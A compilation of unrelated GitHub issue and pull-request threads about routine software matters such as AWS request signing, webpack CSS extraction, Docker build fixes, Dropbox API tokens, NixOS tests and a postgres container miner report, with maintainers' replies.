transport_builder.credentials(Credentials::AwsSigV4(creds))

I think you're saying that service name would be part of credentials, but I think it belongs in the client, hence in the AWS transport. Most of clients know what their service signing name is, but in our case we need to switch between es and aoss. WDYT?

Updated PR on top of #114 and #112, with tests. This is ready to review (but look at the last commit).

@dblock This looks good to me. I think where you have service_name is the safest, the only potentially more ideal would be to expand the Credentials::AwsSigV4 variant to take some kind of struct rather than being a flat tuple, which would improve backwards compatibility in the case of adding more settings/fields specific to SigV4, but at the cost of breaking API compatibility now. Something like:
let creds = AwsSigV4Credentials::from(sdk_config).service_name("es");
transport_builder.credentials(Credentials::AwsSigV4(creds))

I think you're saying that service name would be part of credentials, but I think it belongs in the client, hence in the AWS transport. Most of clients know what their service signing name is, but in our case we need to switch between es and aoss. WDYT?

My thinking was that service name is purely a signing parameter of AwsSigV4. Quite possibly Credentials should really be named Authentication.
I'd also thought about changing the whole thing to a middleware type pattern rather than an ever growing enum of auth methods + match/if statements. But async functions on traits in Rust currently doesn't have a very pleasant developer experience. So I may have a draft PR for that at some point.
That said I agree with your approach here as the most pragmatic and least friction.


CSS file not emitted when loaders defined with query string syntax

I am trying to use multi-loader so that I can emit multiple CSS bundle files (one per theme). The multi loader only accepts query string style loader parameters. So I used the combine-loaders to stringify the output from ETWP. However when I do this the CSS bundle file is not emitted.
I have simplified my config - removing SASS and PostCSS etc leaving the following to isolate the issue
const extractTheme1 = new ExtractTextPlugin('theme1.css');
const extractLoader1 = extractTheme1.extract([
    {loader: 'css-loader'}
]);
const theme1Combined = combineLoaders(
    extractLoader1
);

module.exports = {
    entry: path.resolve('src/index.js'),
    output: {
        filename: "[name].js",
        path: path.resolve("dist")
    },
    module: {
        //rules: [{ test: /\.css$/, loader: theme1Combined}]  // LINE XXX
        rules: [{ test: /\.css$/, loader: extractLoader1}]   // LINE YYY
    },
    plugins: [
        extractTheme1
    ]
};

When I run the code as shown - the output of ETWP is use directly, everything is OK and the CSS bundle is written to /dist/theme1.css
When I run combineLoaders on the output of the extract() function ( uncommenting line XXX and removing line YYY) then the CSS bundle file is no longer written.
For fully working project see the repo

DEPRECATED
Please use: https://github.com/webpack-contrib/mini-css-extract-plugin


Minor Docker fixes for 6.x. Ensure correct permissions and ensure wget installed

Description
Minor fixes to the Docker build process for dspace-6_x, based on Docker scripts on main.
Without these fixes, a local build won't work anymore.  In other words, this will fail:
docker-compose -f docker-compose.yml -f docker-compose-cli.yml build
The fixes here are minor and just include:

Setting proper permissions on /app build directory (same as on main)
Ensuring wget installed prior to ant (same as on main).

These issues were discovered during final testing of 6.4 on Docker.

Merging immediately, as I've thoroughly tested this in my final testing of 6.4 & it's required for running 6.4 via Docker.


Fix invalid reference from UnexpectedFrameEndError to UnexpectedFrameEnd

@grk are you able to say how you found this? did your code crash? do you know how to reproduce the situation?

I messed up my config and tried to connect to the mqtt port of our rabbitmq instance 🤦🏻


Manual permission handling (on MacOS)

Short overview
Add ability to manually show the permissions dialog depending on what permissions are actually used by the software depending on libnut.
Use case

If using only the keyboard part - any users would still get the screen recording permission dialog. Which might be confusing/unexpected for users.
Ability to display a message before permission is requested to explain to the user why the permission will be requested to prevent users denying a necessary permission and then being confused why it is not working.
Ability to know if a required permission is disabled so  features of the software can be disabled or display warning why it does not work.

More fine-grained permission requests are already in place.
Explicit requests can be carried out using https://www.npmjs.com/package/@nut-tree/node-mac-permissions


"Bujoreni", "Dărvaș" and "Prunaru" are listed in the drop-down menu

Description:
"Bujoreni", "Dărvaș" and "Prunaru" are listed in the drop-down menu alongside its corresponding county and commune, according to the law
Precondition:
The website is up an running.

Step 1
Type "Bujoreni" in the search bar.

Expected results
The location is listed in the drop-down menu as "Sat Bujoreni, TELEORMAN (Bujoreni)" and "Comuna Bujoreni, TELEORMAN".

Step 2
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 3
Type "Dărvaș" in the search bar.

Expected results
The location is listed in the drop-down menu as "Sat Dărvaș, TELEORMAN (Bujoreni)".

Step 4
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 5
Type "Prunaru" in the search bar.

Expected results
The location is listed in the drop-down menu as "Sat Prunaru, TELEORMAN (Bujoreni)".


🐞 Latest versions unpublished?

Describe the bug
It seems that the last published version for this project is v1.0.0.
To Reproduce
Steps to reproduce the behavior:

Run GOPROXY= go list -m -versions github.com/deliveryhero/pipeline
Observe that v1.0.0 is the most recent.

Expected behavior
It would reflect up to the latest version, v2.1.1.
Console output
$ GOPROXY= go list -m -versions github.com/deliveryhero/pipeline
github.com/deliveryhero/pipeline v0.1.0 v0.2.0 v0.2.1 v0.2.2 v0.2.3 v0.3.0 v0.3.1 v0.4.0 v1.0.0

Client info (please complete the following information):

Device: MacOS
OS: Ventura
Version: 13.4.1 (c)
go version go1.20.5 darwin/amd64

Additional context
I am very new to Go and may very well be doing something wrong!

No sure when this was opened, but v2.1.1 has been published for a while. See the releases


Fixes DF-1662 - break points in header

Adds breakpoint range for tablet size where main navbar items stack on top of each other.
Fixes #374.
Additions

Adds breakpoints to confine the header navbar items to a set max-width, center the text, and increase the height of the navbar area.
Adds line-height to the submenu so that if the items in that menu wrap they have some space between the lines.

Changes

Decreases the submenu padding to compensate for the submenu line-height.
Updates grunt generated files.

Testing

Visit landing page, decrease window size to between 800 and 810 pixels. Hover over About.

Review

@sebworks
@jimmynotjim
@duelj

Preview

Notes

Should I be using a pixel value here

@anselmbradford, I would probably convert the pixels to em for the padding. I think there is some inconsistency throughout the files with regards to using pixels vs em. We probably will want to clean it up at some point.

Fixed in https://github.com/cfpb/cfgov-refresh/commit/987f0e239c730d19a6291b317ef6489764521f61
Also:

Removes unused empty .header {} class.
Changes max-width value to a whole number for ease of working with it.

:+1:


How to configure credentials

I read the ReadMe and saw this issue: https://github.com/fsspec/dropboxdrivefs/issues/2
But how do I specify that token? I have tried: fsspec.open("dropbox:///path?token=123) but that did not work.
Furthermore, I am confused about which token to use. After creating the app, I also have the App key, App secrete, and the very long OAuth 2 token with the "do not share" warning. I assume that this one is to be used? What then are the app key and secret for? This sounds like something that could also be used for access and could be shipped with an app.

Indeed, the token you need to use is the OAuth2 token obtained on your docker app.
There is probably a way with app key/secret but I did not explore it.

Thanks, that seems to work. It seems there is no way to specify the token with the URL scheme. It would be nice if there was an environment variable DROPBOX_TOKEN or maybe a file ~/.config/dropbox.token that would be used.
Another issue I had is that I was failing to list the root directory because ls("/") does not work. ls("") does work though. I think this implementation detail o the dropbox SDK should be hidden by dropboxdrivefs.
dropbox.exceptions.BadInputError: BadInputError('12345',
'Error in call to API function "files/list_folder":
request body: path: Specify the root folder as an empty string rather than as "/".')

import os
from dropboxdrivefs import DropboxDriveFileSystem as DFS

fs = DFS(token=os.environ["DROPBOX_TOKEN"])

print(fs.stat("/single-file.tar"))
print(fs.ls(""))
print(fs.ls("/"))

Btw, having to use that token, which seems to only have read access to the corresponding app folder, does that mean that this project cannot be used to access public Dropbox shares?

For your first comment, sound like good ideas. You were welcome to do a pr.
For your second comment, it depends on the setting used to create the token. I was using it on public share of Dropbox.  But I did not recreate a token in few years now.


feat: support constraints in DataFrame.filter

As requested here
If it doesn't add too much complexity, then it would probably be quite a nice ergonomic feature for users

I will work on it if that's ok


chore: remove outdated addons docs

- Summary
The official way to register an addon is described in our docs.
These two pages are outdated
- Test plan
Check the deploy preview link
- A picture of a cute animal (not mandatory but encouraged)
🐦

@verythorough closing the PR as I don't want to have long standing PRs. We can re-open when we want to re-visit this


typeahead keyboard navigation not working

Using typeahead the keyboard navigation is not working. This can be seen at https://morgul.github.io/ui-bootstrap4/.

To fix the issue we need to change in uib/template/typeahead/typeahead-popup.html
The line:
<li class=\"uib-typeahead-match\" ng-repeat=\"match in matches track by $index\"
to:
 <li class=\"uib-typeahead-match dropdown-item\" ng-repeat=\"match in matches track by $index\"
Also new css must be included, depending on theme and project.
.dropdown-menu li.dropdown-item.active a {
   color:white !important;
 }

Tested in multiple browsers on Windows & Mac/iPhone.
I personally set typeahead-focus-first="false" at the input field as a default, I find the auto-select a bit to intrusive for the user. That's just an input.

I just realized that the "fix" is merely just a "hack". Something is looking for ".dropdown-item" in the code and fails, I will try to find out where it is.
You cannot implement my "hack" cause "dropdown-item" has been taken out of the B4-css, so it seems, as you know already, that's of course, why you have taken it out of the template in the first place. The hack can be used, if everything else fails. In the meantime, I will try to search for the call.

Nice hack, I was unable to figure it out due to time constraints.

Thanks for finding this. While the solution provided above does fix the issue with keyboard navigation, it doesn't use correct markup for Bootstrap 4 dropdowns, which causes dual padding, and dual highlights on hover.
I combined the typeahead-match template with typeahead-popup.html, and then replaced the typeahead-popup template in a run-block:
import { ITemplateCacheService } from 'angular'

const typeaheadPopup = `

`

uibTemplateFix.$inject = ['$templateCache']
export function uibTemplateFix($templateCache: ITemplateCacheService) {
  $templateCache.put(
    'uib/template/typeahead/typeahead-popup.html',
    typeaheadPopup,
  )
}

import { uibTemplateFix } from './configs/uib-template-fix.config'
angular.module('myApp', [ 'ui.bootstrap' ]).run(uibTemplateFix)


can you share the details of the augmentation generating non-id space

i notice that you mentioned the paper "Neural Head Reenactment with Latent Pose Descriptors" in an issue about non-id space. i tried the augmentation used in their code, but it seems different from yours, with fewer changes.
this part seems vital considering the non-id space is vital, promising the model to distangle the id feature and pose feature. so i would like to know the augmentation details in your paper. can you share it to us?

Hi, the code for our augmentation is already in data/base_dataset.py. I think it can also work if you use their augmentation. The reason that the augmentations are different is that their code was not publically available when I was working on this one.

Hi, the code for our augmentation is already in data/base_dataset.py. I think it can also work if you use their augmentation. The reason that the augmentations are different is that their code was not publically available when I was working on this one.

thanks for the reply! i missed the part in this file. i will try it later. thank you!


nixosTests.nix-misc: split from nixosTests.misc

Bit weird to have nix tests in misc
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

This doesn't add the new test as a channel blocker anywhere.  Might be worth considering.

@RaitoBezarius Is this ok?

This broke eval, because the misc test wasn't removed from the tested set.

This broke eval, because the misc test wasn't removed from the tested set.
{UNKNOWN}: aggregate job ‘tested’ failed with the error: nixos.tests.misc.default.x86_64-linux: does not exist
nixos.tests.misc.default.aarch64-linux: does not exist
 at /nix/store/fncb6n480apg2y1jdzf94ivlw9dd88nr-hydra-perl-deps/lib/perl5/site_perl/5.38.2/Catalyst/Model/DBIC/Schema.pm line 526

Ah just .default suffix has to be removed

@Artturin @mweinelt https://github.com/NixOS/nixpkgs/pull/317172/files


refactor FFT

Just refactor FFT. and planed to add MFCC spectrogram

Hi @ndunks!
Thanks for the PR!
Can I you elaborate on what you’re aiming to achieve with this refactoring?

I Fixing some typescript issue in spectrogram FFT..
And restructuring the spectrogram plugin and FFT class,  to support other method like MFCC instead of only FFT, I plan to implement it.
If you didn't like, just ignore this PR, I just want to share it.

It's not that I don't like it, I just lack the context on why you're proposing it. Plus I see it touches multiple files unrelated to the spectrogram.

I see another PR with mel scale, that was I mean. I will use that PR after merged.. and I think this project has some issue with typescript typings.. I will do another PR and spitting out changes. I know Typescript but new for audio processing. thanks.


Revert "Revert "[Chore] E2E Tests: fix typo on test tag""

Reverts meshery/meshery#12308

Wasn't there more to this PR (dockefile changes, too)?


Added LineSegments descriptor

Hi, thanks for the PR :D :tada:  I'll be able to merge it in this weekend :)


[Question]: NOT IMPLEMENTED: GdipWidenPath

Describe your problem
When parsing the ppt file, the entire task process will freeze and this error NOT IMPLEMENTED: GdipWidenPath will be reported.

This might be  caused by version of ppt.
What about applying 'save as ...' to restore it?


Add warning when refreshLeeway is set to high

When the expiresAt is in the future we still might skip it if the refreshLeeway is set to high.
In lieu of running the refreshAccessToken method and possibly cause non stop calls to refresh endpoint
lets add a warning to let admin know why their tokens are not refreshing.

Hi @albertovasquez , thank you for your PR. I got around to looking at this today. I don't really understand how (expiresAt - now > 0) indicates that the refreshLeeway is too large. I was thinking about this problem and shouldn't it be ((this.refreshLeeway * 1000) > (expiresAt - now)) ? The default refreshLeeway is 0 but it can be configured by the user. So if the refreshLeeway is greater than the time we have can subtract from the token expiration time than it's too big.
Please let me know what you think and the thought process behind (expiresAt - now > 0) so we can add this warning as soon as posible.
Thank you for your work.

:umbrella: The latest upstream changes (presumably #190) made this pull request unmergeable. Please resolve the merge conflicts.

Great idea! Due to the depreciation of Ember.Logger, now if refreshLeeway is too large, an error is thrown: https://github.com/jpadilla/ember-simple-auth-token/blob/master/addon/authenticators/jwt.js#L171-L172


Can I resign ipa under the Linux system without codesign and security?

Question Checklist

[ ] Updated fastlane to the latest version
[ ] I read the Contribution Guidelines
[ ] I read docs.fastlane.tools
[ ] I searched for existing GitHub issues

Question Subject

Question Description

No. The resign action(s) from fastlane use security as can be seen here: https://github.com/fastlane/fastlane/blob/master/sigh/lib/sigh/resign.rb


Branch improve ui

Codecov Report

Merging #191 into master will decrease coverage by 0.35%.
The diff coverage is 85.00%.

@@             Coverage Diff              @@
##             master     #191      +/-   ##
============================================
- Coverage     61.41%   61.05%   -0.36%
- Complexity      666      669       +3
============================================
  Files           115      115
  Lines          2449     2447       -2
  Branches        338      347       +9
============================================
- Hits           1504     1494      -10
- Misses          856      859       +3
- Partials         89       94       +5

Impacted Files
Coverage Δ
Complexity Δ

...rc/main/java/seedu/address/logic/LogicManager.java
66.66% <ø> (-1.34%)
3.00 <0.00> (ø)

...ava/seedu/address/model/attraction/Attraction.java
94.28% <85.00%> (-4.31%)
39.00 <0.00> (+6.00)
:arrow_down:

...in/java/seedu/address/model/attraction/Rating.java
73.33% <0.00%> (-13.34%)
7.00% <0.00%> (-1.00%)

...ava/seedu/address/model/attraction/PriceRange.java
68.42% <0.00%> (-10.53%)
8.00% <0.00%> (-1.00%)

...rc/main/java/seedu/address/model/ModelManager.java
74.15% <0.00%> (-1.13%)
32.00% <0.00%> (-1.00%)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0dd4be2...dc635f5. Read the comment docs.


Topic to table Multiplexing no supported

Issue:
Currently, we create the table in Scylla automatically with the same name as the topic in Kafka. If the table is already created with the corresponding name then we simply use it. One request that came in from a customer is that - if we want to use the data in a topic and store the content into multiple tables, it is not currently possible. Even though this is a not-so-common feature request - I am adding this so I can track the issues.

If you consumed a message from kafka and have two tables/clusters to write it to, there is a problem with error handling.
Consider following scenario:

Connector writes record to a Table A successfully
But it fails to do that for Table B.

Now Table A and B are not in sync, and you also have to either commit  offset or retry on the message, but:

If you commit then table B will never get record from the message
if you retry then table A is going to stuck because you can't read new messages from kafka since offset has not been changed.

Now, there are different cases, you can either ignore error on either table if other succeeds, or you fail if query to any table fails.
What if you have three tables or more.
To not to go into these scenarios we prefer not to have this functionality, but rather to advise to run multiple kafka connectors targeting different tables.


kernel update, build scripts

kernel tag: Ubuntu-3.19.0-22.22
build with remote docker: useful for building on OS X

Will merge after testing.

Good to merge


[WIP] Time Input

📒 Description
This PR will introduce all logic for the Time Input, which also include the Clock View.
🕶 Types of changes
New feature (non-breaking change which adds functionality)
🤯 List of changes

[x] New design for Time Input
[x] New design for Clock Time (Hour and Minutes mode)
[x] Basic logic for presenting the Clock Time, which relies on what kind of Time Input's composnents
[ ] Logic for integrating Time Input and Clock Time

👫 Relationships
Close #2858
🔎 Review hints

Able to select Hour, Minute from Clock View -> Map to selected Time Input
Same design

We'll close this for now and reopen it if and when we come back to this.


Cant link user to organization

When i am trying to link user with organization it is giving me 400 error
POST https://admindemo.docusign.com/admin/api/organizationapi/post?uri=%2Fmanagement%2Fv1%2Forganizations 400 (Bad Request)

Hello Ghayuur,
The Header you provided, however, doesn't present the specific API version and, it's not clear to the API call associated with this URL.
For example, to update an existing user, your header should be something like:
https://demo.docusign.net/Management/v2/organizations/{organizationId}/users/profiles
Also, there are several 400 error messages such as invalid_grant, for example. You can check the API Documentation below:
https://developers.docusign.com/docs/admin-api/reference/usermanagement/esignusermanagement/
If you still experience issues, you can reach out to DocuSign Developer Support for further guidance.

Hey there
If you are referring to the issue i logger today on github, it was
generated on the official website of docusign with a demo account. I was
trying to create the organization and link accounts but it kept on giving
me errors.
I would love to contribute in code if you need me to.
Regards
Ghayyur
On Fri, Oct 27, 2023 at 6:14 PM esilva600 @.***> wrote:

Hello Ghayuur,
The Header you provided, however, doesn't present the specific API version
and, it's not clear to the API call associated with this URL.
For example, to update an existing user, your header should be something
like:
https://demo.docusign.net/Management/v2/organizations/{organizationId}/users/profiles
Also, there are several 400 error messages such as invalid_grant, for
example. You can check the API Documentation below:
https://developers.docusign.com/docs/admin-api/reference/usermanagement/esignusermanagement/
If you still experience issues, you can reach out to DocuSign Developer
Support for further guidance.
—
Reply to this email directly, view it on GitHub
https://github.com/docusign/code-examples-csharp/issues/39#issuecomment-1782897234,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKO73W7WXET5UXWXY2SFKTLYBOXSVAVCNFSM6AAAAAA6SL4U2CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTOOBSHA4TOMRTGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>

I'm not clear what exactly is the problem, you are reporting two different issues. How did you obtain an access token? what scopes did you use? is this regarding any of the code examples provided here?


WSL2  doesn't support the scrollback when the command outputs are large

Version
Microsoft Windows [Version 10.0.19042.1826]
WSL Version

[X] WSL 2
[ ] WSL 1

Kernel Version
Linux version 4.4.0-19041-Microsoft<EMAIL_ADDRESS>(gcc version 5.4.0 (GCC) ) #1237-Microsoft Sat Sep 11 14:32:00 PST 2021
Distro Version
Ubuntu 22
Other Software
No response
Repro Steps
Just run any command where the output of the command doesn't fit the WSL window size.
There is no scrollbar to scroll up or down.
The previous bugs have been closed saying that they might have been fixed.
The History Size setting in WSL  doesn't seem to work either
Expected Behavior
There should be a scroll back to allow you scroll back/forth based on history size.
Actual Behavior
No way of scrolling back/forth.
Diagnostic Logs
No response

A couple of notes:

First, you have "WSL 2" checked in your issue report, but the kernel that you are using indicates that you are using WSL 1.  You should confirm with wsl -l -v.  That shouldn't matter for the issue you are having, though.

Second, the scrollbar is a feature of the terminal.  It sounds like you are using the legacy Windows Console Host.  You might want to try Windows Terminal, the replacement from Microsoft.  It's:

Installable from the Microsoft Store
Actively developed
Open source
Feature rich (tabs, profiles, and much more)

And

The previous bugs have been closed saying that they might have been fixed.

While I'm not sure if the issue you are having is necessarily fixed or not, you say you are running 10.0.19042.1826.  There have been at least two releases of Windows 10 (which includes both WSL and the Console) that I'm aware of since then.  It's very possible that, if this particular issue is fixed, then it's is in one of those releases, and you'll need to upgrade.
Also my understanding is that release is no longer actively supported.


Improvement: Async iterator template

The async-iterator pattern is repeating in the codebase and it is just begging to be turned into a nice friendly reusable template or macro or whatever.
Declarations:
  GetNext* = proc(): Future[?Cid] {.upraises: [], gcsafe, closure.}

  BlocksIter* = ref object
    finished*: bool
    next*: GetNext

Iterator:
iterator items*(self: BlocksIter): Future[?Cid] =
  while not self.finished:
    yield self.next()

Probably a big part of the implementation of methods like listBlocks can also be extracted.

There is one in https://github.com/codex-storage/nim-codex/blob/blockexchange-uses-merkle-tree/codex/utils/asynciter.nim, that was added by @tbekas - I think it's a good start and hopefully we can evolve this into a full fledged generators. We can extract it into a separate PR so we can start using it across the codebase more consistently. The ad-hoc iterator was an experiment that ended up having traction.

Warning: This one may already be implemented as part of the Merkle tree update. Plz check.

Btw. found this https://github.com/SirNickolas/asyncIters-Nim , might be useful...


Fixed a bug with the disappearance of comment on the replies screen

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: mrdevms sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


[fix] iptorrents: parse new search page redesign

A lot of the css classes were removed on the IPT site, which the
previous code relied on. Instead, this parses the table headers.
The html.parser doesn't parse tables correctly so I switched it to
html5lib. Specifically,  would create a nested
structure instead of siblings.
Motivation for changes:
Detailed changes:
Addressed issues:

Fixes https://github.com/Flexget/Flexget/issues/2769 .

Log and/or tests output (preferably both):
I don't think there is a test for this? The log looks like the normal log when everything is working. You might have to pass --discover-now.

Thanks!

Hi.  I am impatient and so I wanted to test this hotfix while waiting for the release.  I copied your iptorrents.py and replaced the current one in my directory.  I'm still receiving the same error, but it just points to a different snippet of code now.  Log file contains a lot of personal information, but the last bit of the error log is quoted below.  Hope this helps.

File "/path/to/flexget/lib/python3.7/site-packages/flexget/components/sites/sites/iptorrents.py", line 174, in search
if torrent.th and 'ac' in torrent.th.get('class'):
│                      └ ...
└ ...
AttributeError: 'NoneType' object has no attribute 'text'
Traceback (most recent call last):
File "/path/to/flexget/lib/python3.7/site-packages/flexget/task.py", line 547, in __run_plugin
result = method(*args, **kwargs)
File "/path/to/flexget/lib/python3.7/site-packages/flexget/event.py", line 20, in call
return self.func(*args, **kwargs)
File "/path/to/flexget/lib/python3.7/site-packages/flexget/plugins/input/discover.py", line 294, in on_task_input
return self.execute_searches(config, entries, task)
File "/path/to/flexget/lib/python3.7/site-packages/flexget/plugins/input/discover.py", line 134, in execute_searches
search_results = search.search(task=task, entry=entry, config=plugin_config)
File "/path/to/flexget/lib/python3.7/site-packages/flexget/plugin.py", line 126, in wrapped_func
return func(*args, **kwargs)
File "/path/to/flexget/lib/python3.7/site-packages/flexget/components/sites/sites/iptorrents.py", line 174, in search
continue
AttributeError: 'NoneType' object has no attribute 'text'

Are you sure it's using the correct plugin? The exception looks to align with the old code. Also I tested this on my machine and it seems to work.

Regardless of what I posted above, the update pushed today fixed it, so please disregard.  Thank you!


Exposed Discord token

In config.json and deb_config.json, there is a Discord bot token.
You should remove it and invalidate the token.

The token from this repo was already invalid, but yeah, it looks better when there is none.
Thanks.


Fix #21 - [TAB-6591] First cut of terracotta-kit

Changes

a terracotta-kit with structure mentioned in the issue #21
Changes to class loading to support the new server structure

Few things to note

need a license to start a server, we need to discuss further and fix this
new class loading changes triggered using system property "using-terracotta-kit"

I like that you separated out the common component checking.  We should refine the implementation of the initial checks that we do before we merge.

Had to kill the previous build - was stuck - please have a look.
Restarting one though
Test this please

looks like build was stuck due to some other reason, not this PR. Anyways its passing now.

We have been having a terrible time with stuck builds and JVM kills on jenkins with no obvious cause.  Without any evidence for test failures or test hangs, I've been assuming these are infrastructure related and excluding machines that fail to build tc-core.


add webHook support and push updates

Adds push updates by webHook. It MUST be used with SSL certifications due to Telegram rules.
Could be used like this:
err = bot.ListenWebHook(messages,
	"<yourhost>:<your port>",
	"/path/on/your/server",
	"your_cert.pem",
	"your_priv.key")
if err != nil {
	panic(err)
}

Address has to be always with port number

I am still not sure that we do really need this in the project. Can you provide the use case of webhooks being superior to long polling?

No persistence connection - lower resource utilization.
Minimal delay
And it just may works out-of-box in Go)


Update the sets and set types

I added several missing set fields and set types according to https://scryfall.com/docs/api/sets.
Note: arena_code is not specified in the documentation, but it is returned by https://api.scryfall.com/sets.

Pull Request Test Coverage Report for Build 85

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 58.747%

Totals

Change from base Build 84:
0.0%

Covered Lines:
225

Relevant Lines:
383

💛  - Coveralls

Thank you for helping keep these up to date!


Ghost 1.0 support

The Ghost team just released a 1.0 version, which incorporates some interesting features (https://dev.ghost.org/ghost-1-0-0/)
Is the support for Ghost 1.0 planned in the near future?
Their docker repository has also been updated (to Ghost 1.0.2 as i'm writing this): https://hub.docker.com/_/ghost/
Of course this is more of an enhancement than an issue.

Thanks @julienfabre. I also waited for an updated Docker image. Seems the Docker image is some days behind official Ghost release which is 1.4.0 already :-)
I'll test the updated version an update the docker-compose.yml after that.

1.5 is live on the Docker repository, i'll run a few test myself ;)

I tried 1.5.0 yesterday, but I need more time to look at it. It didn't find my old posts.

See #4 for my steps.


Unhappy Sphynx; #287

Codecov Report

Merging #288 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #288   +/-   ##
======================================
  Coverage    67.1%   67.1%
======================================
  Files          22      22
  Lines        1067    1067
  Branches       90      90
======================================
  Hits          716     716
  Misses        335     335
  Partials       16      16

Impacted Files
Coverage Δ

poseidon/poseidonMonitor/poseidonMonitor.py
41.52% <ø> (ø)
:arrow_up:

poseidon/baseClasses/Monitor_Action_Base.py
100% <ø> (ø)
:arrow_up:

...r/NorthBoundControllerAbstraction/proxy/bcf/bcf.py
47.97% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 783d60d...58bb3b2. Read the comment docs.


Update sbt-scalafmt to 2.5.0

About this PR
📦 Updates com.geirsson:sbt-scalafmt from 1.5.1 to 2.5.0 ⚠
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.geirsson", artifactId = "sbt-scalafmt" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "com.geirsson", artifactId = "sbt-scalafmt" }
}]

labels: sbt-plugin-update, early-semver-major, semver-spec-major, commit-count:1

Superseded by #204.


OD/AC Model saved in one iPython session throws KeyError in a different iPython session

macOS 10.15
Currently able to repro for the following toolkits:

Object Detection
Activity Classifier

After saving a model in one iPython session, when we try to load it in a different iPython session (regardless of whether the Python version is different or not), we get the following error:
In [2]: model = tc.load_model('od_3.6_mac.model')
---------------------------------------------------------------------------
KeyError                                  Traceback (most recent call last)
<ipython-input-2-6b677ccaeb37> in <module>()
----> 1 model = tc.load_model('osod_3.6_mac.model')

/miniconda/lib/python2.7/site-packages/turicreate/_deps/__init__.pyc in __call__(self, *args, **kwargs)
    251
    252     def __call__(self, *args, **kwargs):
--> 253         return getattr(self._lmod, self._func_name)(*args, **kwargs)
    254
    255     # for pickle purpose

/miniconda/lib/python2.7/site-packages/turicreate/toolkits/_model.pyc in load_model(location)
     96
     97         elif hasattr(_extensions, name):
---> 98             return saved_state["model"]
     99         else:
    100             raise ToolkitError("Unable to load model of name '%s'; model name not registered." % name)

KeyError: 'model'

This is a problem with current master and does not repro with Turi Create 5.7

Fixed in latest master.


ROS2 rviz example shows transparent vehicle

The ros2 example folder has a rviz script to visualize several sensors. The RGB camera sensor does not display the image correctly, showing some parts of the vehicle transparent.

This issue is not always present, sometimes it displays the image as expected.


kdevtmpfsi malware miner found in 12-Alpine docker

Hi Postgres team
I had a few hours back taken the 12-Alpine docker image of postgres and in 30 mins kdevtmpfsi was running in my system.
I traced it back to this container. On stopping this container, the miner also stopped. I have decent security and everything was stable until I installed this package. I am pretty sure this package is compromised. Please check. FYI
Thanks for the open source software and support, You guys are awesome :)
Cheers

This is an unfortunate consequence of having a public-facing instance with a compromised (or simple) password.
https://github.com/docker-library/postgres/issues/798#issuecomment-747610025
See also:
https://github.com/docker-library/redis/issues/217
https://github.com/docker-library/redis/issues/225
https://github.com/docker-library/php/issues/1110
https://github.com/docker-library/php/issues/1127

I have postgres behing traefik and on internal docker network only, Its not public facing and the password is strong (UID based). I was using postgres:latest image and there is no problem like this, as soon as I downloaded 12.alpine today, i see this happening. Not sure what or how this attack got initiated, but as soon as i deleted all present instance of kdevtmpfsi  running on machine (only source found was from docker images temp folders) and then removed 12-alpine it is back to normal. This is more of a FYI for postgres team incase their image is compromised. I will close the issue if team is sure its a mistake on my part, I will deep dive to root cause it later, Cheers

Can you share your container runtime parameters?
(docker run arguments, compose.yml/stack.yml, k8s yaml, etc)
The image itself definitely doesn't have kdevtmpfsi in it:
$ docker pull postgres:12-alpine
12-alpine: Pulling from library/postgres
ba3557a56b15: Already exists
0dae7ecc9e7b: Pull complete
e47d778d7c5a: Pull complete
eaa7d72c898f: Pull complete
915125e90fa6: Pull complete
d7790599cf66: Pull complete
2243c254efcb: Pull complete
27471ff83dbb: Pull complete
Digest: sha256:af41889f0fa073328856551f1dc1df68b5a5b9540ddc4ab2b892c32843882028
Status: Downloaded newer image for postgres:12-alpine
docker.io/library/postgres:12-alpine

$ docker run -it --rm postgres:12-alpine sh
/ # find / -name kdevtmpfsi
/ #

Going to close since this seems resolved and is a duplicate of the other kdevtmpfsi malware issues


Incorrect hover style of secondary button

Describe the bug
The hover style of the secondary button is not displayed correctly in dark mode
Expected behavior
The text should not be black
Screenshots

Desktop (please complete the following information):

OS: macOs
Browser: chrome

@nuanyang233 谢谢，类似问题不少，我统一修复。

@picturepan2 Maybe white text is better


FetchError: request to https://raw.githubusercontent.com/openstreetmap/id-tagging-schema/main/dist/presets.min.json failed, reason: getaddrinfo ENOENT

When I ran "npm run all" to "build:data", I got an error.

my node version is 18.13.0
my npm version is 8.19.3

